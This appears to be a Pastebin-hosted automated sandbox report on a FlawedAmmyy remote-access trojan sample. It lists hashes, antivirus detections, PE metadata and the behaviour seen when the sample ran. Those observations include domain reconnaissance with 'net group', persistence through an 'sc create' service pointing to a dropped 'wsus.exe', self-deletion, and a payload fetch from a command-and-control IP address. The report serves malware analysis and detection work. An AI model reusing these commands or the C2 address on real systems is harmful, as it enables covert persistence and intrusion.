API tools faq
paste
paladin316

yvqxaarmqo84_exe.json

paladin316
Jun 20th, 2019
3,399
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.72 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Flawedammyy"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "yvqxaarmqo84.exe"
  7. [*] File Size: 134936
  8. [*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. [*] SHA256: "cb114123ca1c33071cf6241c3e5054a39b6f735d374491da0b33dfdaa1f7ea22"
  10. [*] MD5: "b635c11efdf4dc2119fa002f73a9df7b"
  11. [*] SHA1: "c35a4df038b20b9dc3ff14116325b2e36b722f6c"
  12. [*] SHA512: "725f8e4f72778dd0fc56a5f39c335d1effc47376156e89530a92f7da5bded19ff17cc61256d295ca2ca696e9e328cef7f8e5db93e59aac3a3010c1b3fdbe8335"
  13. [*] CRC32: "1031E32B"
  14. [*] SSDEEP: "3072:Uko3IdQhLrAH+FtZ9nd6h5iBzWQ+lXyVJSyAiNIQ9:3o4dQxrAH+zHn8EQniVQy7NIS"
  15.  
  16. [*] Process Execution: [
  17. "yvqxaarmqo84.exe",
  18. "net.exe",
  19. "net1.exe",
  20. "net.exe",
  21. "net1.exe",
  22. "cmd.exe",
  23. "net.exe",
  24. "net1.exe",
  25. "cmd.exe",
  26. "sc.exe",
  27. "cmd.exe",
  28. "net.exe",
  29. "net1.exe",
  30. "cmd.exe",
  31. "sc.exe",
  32. "cmd.exe",
  33. "sc.exe",
  34. "cmd.exe",
  35. "net.exe",
  36. "net1.exe",
  37. "cmd.exe",
  38. "services.exe",
  39. "wsus.exe",
  40. "wsus.exe",
  41. "svchost.exe",
  42. "svchost.exe",
  43. "taskeng.exe",
  44. "taskeng.exe",
  45. "AdobeARM.exe"
  46. ]
  47.  
  48. [*] Signatures Detected: [
  49. {
  50. "Description": "Creates RWX memory",
  51. "Details": []
  52. },
  53. {
  54. "Description": "Reads data out of its own binary image",
  55. "Details": [
  56. {
  57. "self_read": "process: wsus.exe, pid: 1568, offset: 0x00000000, length: 0x00000400"
  58. }
  59. ]
  60. },
  61. {
  62. "Description": "A process created a hidden window",
  63. "Details": [
  64. {
  65. "Process": "yvqxaarmqo84.exe -> cmd"
  66. },
  67. {
  68. "Process": "yvqxaarmqo84.exe -> cmd"
  69. },
  70. {
  71. "Process": "yvqxaarmqo84.exe -> cmd"
  72. },
  73. {
  74. "Process": "yvqxaarmqo84.exe -> cmd"
  75. },
  76. {
  77. "Process": "yvqxaarmqo84.exe -> cmd"
  78. },
  79. {
  80. "Process": "yvqxaarmqo84.exe -> cmd"
  81. },
  82. {
  83. "Process": "yvqxaarmqo84.exe -> C:\\Windows\\System32\\cmd.exe"
  84. }
  85. ]
  86. },
  87. {
  88. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  89. "Details": [
  90. {
  91. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  92. },
  93. {
  94. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  95. },
  96. {
  97. "suspicious_request": "http://54.38.127.28/02.dat"
  98. },
  99. {
  100. "suspicious_request": "http://www.msftncsi.com/ncsi.txt"
  101. }
  102. ]
  103. },
  104. {
  105. "Description": "Performs some HTTP requests",
  106. "Details": [
  107. {
  108. "url": "http://54.38.127.28/02.dat"
  109. },
  110. {
  111. "url": "http://www.msftncsi.com/ncsi.txt"
  112. }
  113. ]
  114. },
  115. {
  116. "Description": "Deletes its original binary from disk",
  117. "Details": []
  118. },
  119. {
  120. "Description": "Installs itself for autorun at Windows startup",
  121. "Details": [
  122. {
  123. "service name": "foundation"
  124. },
  125. {
  126. "service path": "C:\\ProgramData\\NuGets\\wsus.exe -service"
  127. }
  128. ]
  129. },
  130. {
  131. "Description": "File has been identified by 19 Antiviruses on VirusTotal as malicious",
  132. "Details": [
  133. {
  134. "McAfee": "Artemis!B635C11EFDF4"
  135. },
  136. {
  137. "Cylance": "Unsafe"
  138. },
  139. {
  140. "Alibaba": "Trojan:Win32/GenKryptik.af394f90"
  141. },
  142. {
  143. "Symantec": "Trojan.Flawedammyy"
  144. },
  145. {
  146. "ESET-NOD32": "a variant of Win32/GenKryptik.DKZJ"
  147. },
  148. {
  149. "Paloalto": "generic.ml"
  150. },
  151. {
  152. "Kaspersky": "UDS:DangerousObject.Multi.Generic"
  153. },
  154. {
  155. "Endgame": "malicious (high confidence)"
  156. },
  157. {
  158. "Invincea": "heuristic"
  159. },
  160. {
  161. "McAfee-GW-Edition": "Artemis"
  162. },
  163. {
  164. "FireEye": "Generic.mg.b635c11efdf4dc21"
  165. },
  166. {
  167. "Ikarus": "Backdoor.Rat.FlawedAmmyy"
  168. },
  169. {
  170. "Microsoft": "Trojan:Win32/Fuery.C!cl"
  171. },
  172. {
  173. "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
  174. },
  175. {
  176. "AhnLab-V3": "Win-Trojan/Suspig9.Exp"
  177. },
  178. {
  179. "TrendMicro-HouseCall": "Backdoor.Win32.FLAWEDAMMY.SMKAT"
  180. },
  181. {
  182. "SentinelOne": "DFI - Malicious PE"
  183. },
  184. {
  185. "Fortinet": "W32/Kryptik.GTDL!tr"
  186. },
  187. {
  188. "CrowdStrike": "win/malicious_confidence_80% (W)"
  189. }
  190. ]
  191. },
  192. {
  193. "Description": "Created network traffic indicative of malicious activity",
  194. "Details": [
  195. {
  196. "signature": "ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin"
  197. }
  198. ]
  199. }
  200. ]
  201.  
  202. [*] Started Service: [
  203. "foundation"
  204. ]
  205.  
  206. [*] Executed Commands: [
  207. "net group /domain",
  208. "\"C:\\Windows\\System32\\cmd.exe\" /C net.exe stop foundation",
  209. "cmd /C net.exe stop foundation",
  210. "\"C:\\Windows\\System32\\cmd.exe\" /C sc delete foundation",
  211. "cmd /C sc delete foundation",
  212. "\"C:\\Windows\\System32\\cmd.exe\" /C sc create foundation binPath= \"C:\\ProgramData\\NuGets\\wsus.exe -service\" type= own start= auto error= ignore",
  213. "cmd /C sc create foundation binPath= \"C:\\ProgramData\\NuGets\\wsus.exe -service\" type= own start= auto error= ignore",
  214. "\"C:\\Windows\\System32\\cmd.exe\" /C net.exe start foundation y",
  215. "cmd /C net.exe start foundation y",
  216. "C:\\Windows\\System32\\cmd.exe /c del C:\\Users\\user\\AppData\\Local\\Temp\\YVQXAA~1.EXE >> NUL",
  217. "C:\\Windows\\system32\\net1 group /domain",
  218. "net.exe stop foundation",
  219. "C:\\Windows\\system32\\net1 stop foundation",
  220. "sc delete foundation",
  221. "sc create foundation binPath= \"C:\\ProgramData\\NuGets\\wsus.exe -service\" type= own start= auto error= ignore",
  222. "net.exe start foundation y",
  223. "C:\\Windows\\system32\\net1 start foundation y",
  224. "C:\\ProgramData\\NuGets\\wsus.exe -service",
  225. "\"C:\\ProgramData\\NuGets\\wsus.exe\" -nogui",
  226. "taskeng.exe {800E24B0-05A7-478B-A617-E80902A75F00} S-1-5-18:NT AUTHORITY\\System:Service:",
  227. "taskeng.exe {630D8AF6-5336-4417-8B8F-5EB0CD3F61DA} S-1-5-21-0000000000-0000000000-0000000000-1000:Host\\user:Interactive:[1]",
  228. "\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler",
  229. "\"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe\""
  230. ]
  231.  
  232. [*] Mutexes: [
  233. "Local\\ZoneAttributeCacheCounterMutex",
  234. "Local\\ZonesCacheCounterMutex",
  235. "Local\\ZonesLockedCacheCounterMutex",
  236. "DBWinMutex",
  237. "JKLGHwe98u23y&*&#$#$%%",
  238. "Local\\_!MSFTHISTORY!_",
  239. "Local\\c:!users!user!appdata!local!microsoft!windows!temporary internet files!content.ie5!",
  240. "Local\\c:!users!user!appdata!roaming!microsoft!windows!cookies!",
  241. "Local\\c:!users!user!appdata!local!microsoft!windows!history!history.ie5!"
  242. ]
  243.  
  244. [*] Modified Files: [
  245. "C:\\ProgramData\\NuGets\\template_41c318.TMPTMPZIP7",
  246. "C:\\ProgramData\\NuGets\\wsus.exe",
  247. "\\??\\PIPE\\wkssvc",
  248. "\\??\\PIPE\\lsarpc",
  249. "C:\\Windows\\appcompat\\Programs\\RecentFileCache.bcf",
  250. "\\??\\NUL",
  251. "C:\\Users\\user\\AppData\\Local\\Temp\\AdobeARM.log",
  252. "\\??\\pipe\\32B6B37A-4A7D-4e00-95F2-6F0BF3DE3E001599590523thsnYaVieBoda",
  253. "C:\\Users\\user\\AppData\\Local\\Temp\\ArmUI.ini",
  254. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat",
  255. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat",
  256. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat"
  257. ]
  258.  
  259. [*] Deleted Files: [
  260. "C:\\ProgramData\\Microsoft Help\\wsus.exe",
  261. "C:\\ProgramData\\NuGets\\wsus.exe",
  262. "C:\\ProgramData\\NuGets\\template_41c318.TMPTMPZIP7",
  263. "C:\\Users\\user\\AppData\\Local\\Temp\\yvqxaarmqo84.exe"
  264. ]
  265.  
  266. [*] Modified Registry Keys: [
  267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
  268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
  269. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\netsxuid",
  270. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{26CEE9A6-18F5-4F69-8C4D-2467328655EB}\\DynamicInfo",
  271. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{800E24B0-05A7-478B-A617-E80902A75F00}",
  272. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{BA11F2B3-0190-41C3-95F6-1F6B8FEBB2E1}\\DynamicInfo",
  273. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{630D8AF6-5336-4417-8B8F-5EB0CD3F61DA}",
  274. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{B17E070E-57E3-43F6-96F5-A9A9C921DEBF}\\DynamicInfo",
  275. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{800E24B0-05A7-478B-A617-E80902A75F00}\\data",
  276. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{630D8AF6-5336-4417-8B8F-5EB0CD3F61DA}\\data"
  277. ]
  278.  
  279. [*] Deleted Registry Keys: [
  280. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  281. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  283. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  284. "HKEY_CURRENT_USER\\Software\\Adobe\\Adobe ARM\\1.0\\ARM\\iNotify"
  285. ]
  286.  
  287. [*] DNS Communications: []
  288.  
  289. [*] Domains: []
  290.  
  291. [*] Network Communication - ICMP: []
  292.  
  293. [*] Network Communication - HTTP: [
  294. {
  295. "count": 1,
  296. "body": "",
  297. "uri": "http://54.38.127.28/02.dat",
  298. "user-agent": "",
  299. "method": "GET",
  300. "host": "54.38.127.28",
  301. "version": "1.1",
  302. "path": "/02.dat",
  303. "data": "GET /02.dat HTTP/1.1\r\nHost: 54.38.127.28\r\nCache-Control: no-cache\r\n\r\n",
  304. "port": 80
  305. },
  306. {
  307. "count": 1,
  308. "body": "",
  309. "uri": "http://www.msftncsi.com/ncsi.txt",
  310. "user-agent": "Microsoft NCSI",
  311. "method": "GET",
  312. "host": "www.msftncsi.com",
  313. "version": "1.1",
  314. "path": "/ncsi.txt",
  315. "data": "GET /ncsi.txt HTTP/1.1\r\nConnection: Close\r\nUser-Agent: Microsoft NCSI\r\nHost: www.msftncsi.com\r\n\r\n",
  316. "port": 80
  317. }
  318. ]
  319.  
  320. [*] Network Communication - SMTP: []
  321.  
  322. [*] Network Communication - Hosts: []
  323.  
  324. [*] Network Communication - IRC: []
  325.  
  326. [*] Static Analysis: {
  327. "pe": {
  328. "peid_signatures": null,
  329. "imports": [
  330. {
  331. "imports": [
  332. {
  333. "name": "GetCurrentThread",
  334. "address": "0x408014"
  335. },
  336. {
  337. "name": "GetTickCount",
  338. "address": "0x408018"
  339. },
  340. {
  341. "name": "GetProcAddress",
  342. "address": "0x40801c"
  343. },
  344. {
  345. "name": "LoadLibraryA",
  346. "address": "0x408020"
  347. },
  348. {
  349. "name": "GetLastError",
  350. "address": "0x408024"
  351. },
  352. {
  353. "name": "InterlockedDecrement",
  354. "address": "0x408028"
  355. },
  356. {
  357. "name": "VirtualAllocEx",
  358. "address": "0x40802c"
  359. },
  360. {
  361. "name": "GetProcessHeap",
  362. "address": "0x408030"
  363. },
  364. {
  365. "name": "InterlockedIncrement",
  366. "address": "0x408034"
  367. },
  368. {
  369. "name": "lstrlenA",
  370. "address": "0x408038"
  371. },
  372. {
  373. "name": "GetVersionExA",
  374. "address": "0x40803c"
  375. },
  376. {
  377. "name": "GetVersionExW",
  378. "address": "0x408040"
  379. },
  380. {
  381. "name": "GetOEMCP",
  382. "address": "0x408044"
  383. },
  384. {
  385. "name": "GetModuleHandleA",
  386. "address": "0x408048"
  387. },
  388. {
  389. "name": "GetCommandLineW",
  390. "address": "0x40804c"
  391. },
  392. {
  393. "name": "GetCurrentProcess",
  394. "address": "0x408050"
  395. },
  396. {
  397. "name": "GetCommandLineA",
  398. "address": "0x408054"
  399. },
  400. {
  401. "name": "GetStartupInfoW",
  402. "address": "0x408058"
  403. }
  404. ],
  405. "dll": "KERNEL32.dll"
  406. },
  407. {
  408. "imports": [
  409. {
  410. "name": "LoadIconA",
  411. "address": "0x408060"
  412. },
  413. {
  414. "name": "SetWindowLongW",
  415. "address": "0x408064"
  416. },
  417. {
  418. "name": "SetWindowTextW",
  419. "address": "0x408068"
  420. },
  421. {
  422. "name": "DefWindowProcW",
  423. "address": "0x40806c"
  424. },
  425. {
  426. "name": "PostMessageW",
  427. "address": "0x408070"
  428. },
  429. {
  430. "name": "RegisterClassW",
  431. "address": "0x408074"
  432. },
  433. {
  434. "name": "SendMessageW",
  435. "address": "0x408078"
  436. },
  437. {
  438. "name": "DestroyWindow",
  439. "address": "0x40807c"
  440. },
  441. {
  442. "name": "CreateWindowExA",
  443. "address": "0x408080"
  444. },
  445. {
  446. "name": "CreateWindowExW",
  447. "address": "0x408084"
  448. },
  449. {
  450. "name": "UnregisterClassA",
  451. "address": "0x408088"
  452. },
  453. {
  454. "name": "LoadStringW",
  455. "address": "0x40808c"
  456. },
  457. {
  458. "name": "DestroyIcon",
  459. "address": "0x408090"
  460. }
  461. ],
  462. "dll": "USER32.dll"
  463. },
  464. {
  465. "imports": [
  466. {
  467. "name": "CreateDIBSection",
  468. "address": "0x408008"
  469. },
  470. {
  471. "name": "CreateBitmap",
  472. "address": "0x40800c"
  473. }
  474. ],
  475. "dll": "GDI32.dll"
  476. },
  477. {
  478. "imports": [
  479. {
  480. "name": "ImageList_Add",
  481. "address": "0x408000"
  482. }
  483. ],
  484. "dll": "COMCTL32.dll"
  485. },
  486. {
  487. "imports": [
  488. {
  489. "name": "WinVerifyTrust",
  490. "address": "0x408098"
  491. }
  492. ],
  493. "dll": "WINTRUST.dll"
  494. },
  495. {
  496. "imports": [
  497. {
  498. "name": "_exit",
  499. "address": "0x4080a0"
  500. },
  501. {
  502. "name": "_c_exit",
  503. "address": "0x4080a4"
  504. },
  505. {
  506. "name": "_cexit",
  507. "address": "0x4080a8"
  508. },
  509. {
  510. "name": "exit",
  511. "address": "0x4080ac"
  512. },
  513. {
  514. "name": "_wcmdln",
  515. "address": "0x4080b0"
  516. },
  517. {
  518. "name": "__wgetmainargs",
  519. "address": "0x4080b4"
  520. },
  521. {
  522. "name": "_initterm",
  523. "address": "0x4080b8"
  524. },
  525. {
  526. "name": "__setusermatherr",
  527. "address": "0x4080bc"
  528. },
  529. {
  530. "name": "_adjust_fdiv",
  531. "address": "0x4080c0"
  532. },
  533. {
  534. "name": "__p__commode",
  535. "address": "0x4080c4"
  536. },
  537. {
  538. "name": "__p__fmode",
  539. "address": "0x4080c8"
  540. },
  541. {
  542. "name": "__set_app_type",
  543. "address": "0x4080cc"
  544. },
  545. {
  546. "name": "_controlfp",
  547. "address": "0x4080d0"
  548. },
  549. {
  550. "name": "__dllonexit",
  551. "address": "0x4080d4"
  552. },
  553. {
  554. "name": "_onexit",
  555. "address": "0x4080d8"
  556. },
  557. {
  558. "name": "_except_handler3",
  559. "address": "0x4080dc"
  560. },
  561. {
  562. "name": "_XcptFilter",
  563. "address": "0x4080e0"
  564. }
  565. ],
  566. "dll": "msvcrt.dll"
  567. }
  568. ],
  569. "digital_signers": null,
  570. "exported_dll_name": null,
  571. "actual_checksum": "0x0002bd23",
  572. "overlay": {
  573. "size": "0x00001f18",
  574. "offset": "0x0001f000"
  575. },
  576. "imagebase": "0x00400000",
  577. "reported_checksum": "0x0002bd23",
  578. "icon_hash": null,
  579. "entrypoint": "0x00402656",
  580. "timestamp": "2019-06-19 17:31:03",
  581. "osversion": "4.0",
  582. "sections": [
  583. {
  584. "name": ".text",
  585. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
  586. "virtual_address": "0x00001000",
  587. "size_of_data": "0x00002000",
  588. "entropy": "5.32",
  589. "raw_address": "0x00001000",
  590. "virtual_size": "0x00001936",
  591. "characteristics_raw": "0x60000020"
  592. },
  593. {
  594. "name": ".bss",
  595. "characteristics": "IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  596. "virtual_address": "0x00003000",
  597. "size_of_data": "0x00000000",
  598. "entropy": "0.00",
  599. "raw_address": "0x00000000",
  600. "virtual_size": "0x00004030",
  601. "characteristics_raw": "0xc0000080"
  602. },
  603. {
  604. "name": ".rdata",
  605. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  606. "virtual_address": "0x00008000",
  607. "size_of_data": "0x00001000",
  608. "entropy": "2.34",
  609. "raw_address": "0x00003000",
  610. "virtual_size": "0x0000060a",
  611. "characteristics_raw": "0x40000040"
  612. },
  613. {
  614. "name": ".data",
  615. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  616. "virtual_address": "0x00009000",
  617. "size_of_data": "0x0001a000",
  618. "entropy": "6.08",
  619. "raw_address": "0x00004000",
  620. "virtual_size": "0x000198f4",
  621. "characteristics_raw": "0xd0000040"
  622. },
  623. {
  624. "name": ".reloc",
  625. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ",
  626. "virtual_address": "0x00023000",
  627. "size_of_data": "0x00001000",
  628. "entropy": "0.80",
  629. "raw_address": "0x0001e000",
  630. "virtual_size": "0x00000278",
  631. "characteristics_raw": "0x42000040"
  632. }
  633. ],
  634. "resources": [],
  635. "dirents": [
  636. {
  637. "virtual_address": "0x00000000",
  638. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  639. "size": "0x00000000"
  640. },
  641. {
  642. "virtual_address": "0x00008104",
  643. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  644. "size": "0x0000008c"
  645. },
  646. {
  647. "virtual_address": "0x00000000",
  648. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  649. "size": "0x00000000"
  650. },
  651. {
  652. "virtual_address": "0x00000000",
  653. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  654. "size": "0x00000000"
  655. },
  656. {
  657. "virtual_address": "0x0001f000",
  658. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  659. "size": "0x00001f18"
  660. },
  661. {
  662. "virtual_address": "0x00023000",
  663. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  664. "size": "0x00000140"
  665. },
  666. {
  667. "virtual_address": "0x00000000",
  668. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  669. "size": "0x00000000"
  670. },
  671. {
  672. "virtual_address": "0x00000000",
  673. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  674. "size": "0x00000000"
  675. },
  676. {
  677. "virtual_address": "0x00000000",
  678. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  679. "size": "0x00000000"
  680. },
  681. {
  682. "virtual_address": "0x00000000",
  683. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  684. "size": "0x00000000"
  685. },
  686. {
  687. "virtual_address": "0x00000000",
  688. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  689. "size": "0x00000000"
  690. },
  691. {
  692. "virtual_address": "0x00000000",
  693. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  694. "size": "0x00000000"
  695. },
  696. {
  697. "virtual_address": "0x00008000",
  698. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  699. "size": "0x000000e8"
  700. },
  701. {
  702. "virtual_address": "0x00000000",
  703. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  704. "size": "0x00000000"
  705. },
  706. {
  707. "virtual_address": "0x00000000",
  708. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  709. "size": "0x00000000"
  710. },
  711. {
  712. "virtual_address": "0x00000000",
  713. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  714. "size": "0x00000000"
  715. }
  716. ],
  717. "exports": [],
  718. "guest_signers": {},
  719. "imphash": "6909b3de29b892a005d65092b37a68d9",
  720. "icon_fuzzy": null,
  721. "icon": null,
  722. "pdbpath": null,
  723. "imported_dll_count": 6,
  724. "versioninfo": []
  725. }
  726. }
  727.  
  728. [*] Resolved APIs: [
  729. "user32.dll.GetWindowContextHelpId",
  730. "kernel32.dll.VirtualAlloc",
  731. "kernel32.dll.VirtualProtect",
  732. "kernel32.dll.LoadLibraryA",
  733. "kernel32.dll.VirtualFree",
  734. "kernel32.dll.VirtualQuery",
  735. "kernel32.dll.ExpandEnvironmentStringsA",
  736. "kernel32.dll.SetErrorMode",
  737. "kernel32.dll.SetFilePointer",
  738. "kernel32.dll.SetEndOfFile",
  739. "kernel32.dll.lstrlenA",
  740. "kernel32.dll.GetEnvironmentVariableA",
  741. "kernel32.dll.WaitForSingleObject",
  742. "kernel32.dll.GetCurrentThreadId",
  743. "kernel32.dll.lstrcmpA",
  744. "kernel32.dll.GetVersionExW",
  745. "kernel32.dll.ReleaseMutex",
  746. "kernel32.dll.DuplicateHandle",
  747. "kernel32.dll.lstrcatA",
  748. "kernel32.dll.ExitThread",
  749. "kernel32.dll.GetACP",
  750. "kernel32.dll.OpenProcess",
  751. "kernel32.dll.Sleep",
  752. "kernel32.dll.GetFileInformationByHandle",
  753. "kernel32.dll.GetLastError",
  754. "kernel32.dll.OutputDebugStringW",
  755. "kernel32.dll.CreateFileA",
  756. "kernel32.dll.GetCurrentThread",
  757. "kernel32.dll.DeleteFileA",
  758. "kernel32.dll.GlobalAlloc",
  759. "kernel32.dll.lstrcpyA",
  760. "kernel32.dll.CloseHandle",
  761. "kernel32.dll.ResetEvent",
  762. "kernel32.dll.GetLocalTime",
  763. "kernel32.dll.GetProcAddress",
  764. "kernel32.dll.CreateFileMappingA",
  765. "kernel32.dll.GetFileSize",
  766. "kernel32.dll.DeleteCriticalSection",
  767. "kernel32.dll.ExitProcess",
  768. "kernel32.dll.LCMapStringW",
  769. "kernel32.dll.CreatePipe",
  770. "kernel32.dll.AddConsoleAliasW",
  771. "kernel32.dll.GetModuleHandleW",
  772. "kernel32.dll.CreateProcessA",
  773. "kernel32.dll.AddAtomW",
  774. "kernel32.dll.CreateDirectoryA",
  775. "kernel32.dll.OpenMutexW",
  776. "kernel32.dll.LocalShrink",
  777. "kernel32.dll.IsDebuggerPresent",
  778. "kernel32.dll.FlushFileBuffers",
  779. "kernel32.dll.CreateFileW",
  780. "kernel32.dll.WriteConsoleW",
  781. "kernel32.dll.SetFilePointerEx",
  782. "kernel32.dll.HeapReAlloc",
  783. "kernel32.dll.HeapSize",
  784. "kernel32.dll.GetConsoleMode",
  785. "kernel32.dll.GetProcessHeap",
  786. "kernel32.dll.GetStringTypeW",
  787. "kernel32.dll.SetStdHandle",
  788. "kernel32.dll.FreeEnvironmentStringsW",
  789. "kernel32.dll.GetEnvironmentStringsW",
  790. "kernel32.dll.GetCommandLineA",
  791. "kernel32.dll.GetCPInfo",
  792. "kernel32.dll.GetOEMCP",
  793. "kernel32.dll.IsValidCodePage",
  794. "kernel32.dll.FindNextFileA",
  795. "kernel32.dll.GetConsoleCP",
  796. "kernel32.dll.InterlockedDecrement",
  797. "kernel32.dll.OutputDebugStringA",
  798. "kernel32.dll.WriteConsoleA",
  799. "kernel32.dll.GetStdHandle",
  800. "kernel32.dll.GetShortPathNameA",
  801. "kernel32.dll.GetCurrentProcess",
  802. "kernel32.dll.GetCommandLineW",
  803. "kernel32.dll.FindFirstFileExA",
  804. "kernel32.dll.FindClose",
  805. "kernel32.dll.SetLastError",
  806. "kernel32.dll.EraseTape",
  807. "kernel32.dll.GlobalGetAtomNameA",
  808. "kernel32.dll.GetModuleFileNameA",
  809. "kernel32.dll.ReadFile",
  810. "kernel32.dll.lstrcpynA",
  811. "kernel32.dll.GetFileType",
  812. "kernel32.dll.HeapAlloc",
  813. "kernel32.dll.HeapFree",
  814. "kernel32.dll.GetModuleHandleExW",
  815. "kernel32.dll.WideCharToMultiByte",
  816. "kernel32.dll.MultiByteToWideChar",
  817. "kernel32.dll.WriteFile",
  818. "kernel32.dll.LocalFree",
  819. "kernel32.dll.QueryPerformanceCounter",
  820. "kernel32.dll.GetCurrentProcessId",
  821. "kernel32.dll.GetSystemTimeAsFileTime",
  822. "kernel32.dll.InitializeSListHead",
  823. "kernel32.dll.UnhandledExceptionFilter",
  824. "kernel32.dll.SetUnhandledExceptionFilter",
  825. "kernel32.dll.GetStartupInfoW",
  826. "kernel32.dll.IsProcessorFeaturePresent",
  827. "kernel32.dll.TerminateProcess",
  828. "kernel32.dll.RaiseException",
  829. "kernel32.dll.RtlUnwind",
  830. "kernel32.dll.EnterCriticalSection",
  831. "kernel32.dll.LeaveCriticalSection",
  832. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  833. "kernel32.dll.TlsAlloc",
  834. "kernel32.dll.TlsGetValue",
  835. "kernel32.dll.TlsSetValue",
  836. "kernel32.dll.TlsFree",
  837. "kernel32.dll.FreeLibrary",
  838. "kernel32.dll.LoadLibraryExW",
  839. "user32.dll.GetClipboardData",
  840. "user32.dll.BeginPaint",
  841. "user32.dll.ChildWindowFromPoint",
  842. "user32.dll.LoadImageW",
  843. "user32.dll.UnhookWinEvent",
  844. "user32.dll.GetMenu",
  845. "user32.dll.GetFocus",
  846. "user32.dll.DrawIcon",
  847. "user32.dll.GetDesktopWindow",
  848. "user32.dll.wsprintfA",
  849. "user32.dll.DialogBoxIndirectParamA",
  850. "user32.dll.IsChild",
  851. "user32.dll.LoadAcceleratorsA",
  852. "user32.dll.CharNextW",
  853. "user32.dll.TranslateMessage",
  854. "user32.dll.LoadAcceleratorsW",
  855. "user32.dll.OemToCharA",
  856. "user32.dll.LoadCursorW",
  857. "user32.dll.SetDlgItemTextA",
  858. "user32.dll.wsprintfW",
  859. "user32.dll.CharUpperA",
  860. "gdi32.dll.CreateFontA",
  861. "gdi32.dll.SetWindowExtEx",
  862. "gdi32.dll.SetViewportExtEx",
  863. "gdi32.dll.SetTextColor",
  864. "gdi32.dll.CreateMetaFileA",
  865. "gdi32.dll.TextOutA",
  866. "gdi32.dll.SetMapMode",
  867. "gdi32.dll.CreateDCW",
  868. "winspool.drv.GetPrinterA",
  869. "advapi32.dll.RegCloseKey",
  870. "advapi32.dll.RegFlushKey",
  871. "advapi32.dll.RegSetValueExW",
  872. "advapi32.dll.GetUserNameW",
  873. "advapi32.dll.RegOpenKeyW",
  874. "shell32.dll.ShellExecuteA",
  875. "shell32.dll.SHGetSpecialFolderPathA",
  876. "ole32.dll.CoCreateInstance",
  877. "ole32.dll.CoUninitialize",
  878. "ole32.dll.CoCreateGuid",
  879. "ole32.dll.CoInitializeSecurity",
  880. "ole32.dll.CoInitializeEx",
  881. "ole32.dll.CoInitialize",
  882. "oleaut32.dll.#8",
